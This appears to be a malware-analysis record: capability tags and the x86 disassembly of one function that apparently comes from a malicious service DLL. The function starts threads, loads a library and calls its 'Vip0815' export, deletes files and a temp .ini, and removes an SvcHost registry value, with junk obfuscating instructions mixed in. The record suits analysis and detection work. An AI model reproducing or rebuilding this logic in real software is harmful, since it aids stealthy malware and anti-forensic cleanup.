Function at 0x100038c2
Capabilities:
Create thread
Delete file
Delete registry value
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
push ebx
push esi
push edi
mov ebx, ecx
call fcn.10003b55
add dword [0x100066bc], 0x3b3c
mov esi, dword [sym.imp.MSVCRT.dll__beginthread]
xor edi, edi
cmp dword [0x100061ac], edi
jbe 0x10003905
push ebx
push edi
push 0x100035cf
call esi
add esp, 0xc
add dword [0x100066a4], 0x3cc9
push ebx
push edi
push 0x100036a3
call esi
add dword [0x100066a4], 0x665d
add dword [0x100066b4], 0x1385
add esp, 0xc
lea esi, [ebx + 8]
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebx + 4], eax
add dword [0x100066b8], 0x4af7
cmp dword [ebx + 4], edi
jne 0x10003978
push 0x1f3f
push esi
mov ecx, ebx
call fcn.10003388
mov dword [ebx + 4], eax
add dword [0x100066a4], 0x2e0e
cmp dword [ebx + 4], edi
jne 0x10003978
push dword [0x100061a4]
call dword [sym.imp.KERNEL32.dll_Sleep]
add dword [0x100066b0], 0x14ef
jmp 0x1000393c
add dword [0x100066a4], 0x4516
mov dword [ebp - 8], edi
push str.Vip0815
push dword [ebx + 4]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
add dword [0x100066ac], 0x5d23
cmp eax, edi
je 0x100039c7
lea ecx, [ebp - 8]
mov esi, 0x100061a0
push ecx
mov ecx, 0x13e
sub esp, 0x4f8
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call eax
add dword [0x100066a8], 0x2813
xor edi, edi
cmp dword [ebp - 8], 0x3000
je 0x10003a05
cmp dword [ebp - 8], 0x3001
jne 0x100039ed
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_Sleep]
add dword [0x100066a0], 0x19bd
jmp 0x10003985
push dword [0x100061a4]
call dword [sym.imp.KERNEL32.dll_Sleep]
add dword [0x10006698], 0x48f3
jmp 0x10003985
push dword [ebx + 4]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
add dword [0x100066b4], 0x5b50
lea eax, [ebx + 8]
push eax
call esi
add dword [0x100066a8], 0x1e40
push 0x10006408
call fcn.100022df
add dword [0x10006698], 0x6f34
pop ecx
mov ecx, ebx
call fcn.100036c1
add dword [0x100066a8], 0x58e5
mov ecx, ebx
call fcn.100037c9
and byte [ebp - 0x208], 0
push 0x3f
pop ecx
xor eax, eax
lea edi, [ebp - 0x207]
and byte [ebp - 0x108], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x3f
xor eax, eax
pop ecx
lea edi, [ebp - 0x107]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
add dword [0x100066ac], 0x44ef
stosb byte es:[edi], al
lea eax, [ebp - 0x108]
push eax
push 0xc8
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push dword [0x100061bc]
add dword [0x100066ac], 0x5ad9
lea eax, [ebp - 0x108]
push eax
lea eax, [ebp - 0x208]
push str._s_08x.ini
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add dword [0x100066b0], 0x18af
add esp, 0x10
lea eax, [ebp - 0x208]
push eax
call esi
add dword [0x100066b8], 0x7945
and dword [ebp - 4], 0
add dword [0x10006698], 0x5d8c
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionSvcHost
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
add dword [0x100066b8], 0x59aa
test eax, eax
jne 0x10003b50
push 0x10006408
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
push dword [ebp - 4]
add dword [0x100066a8], 0x4bb1
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
add dword [0x100066ac], 0x1126
pop edi
pop esi
pop ebx
leave
ret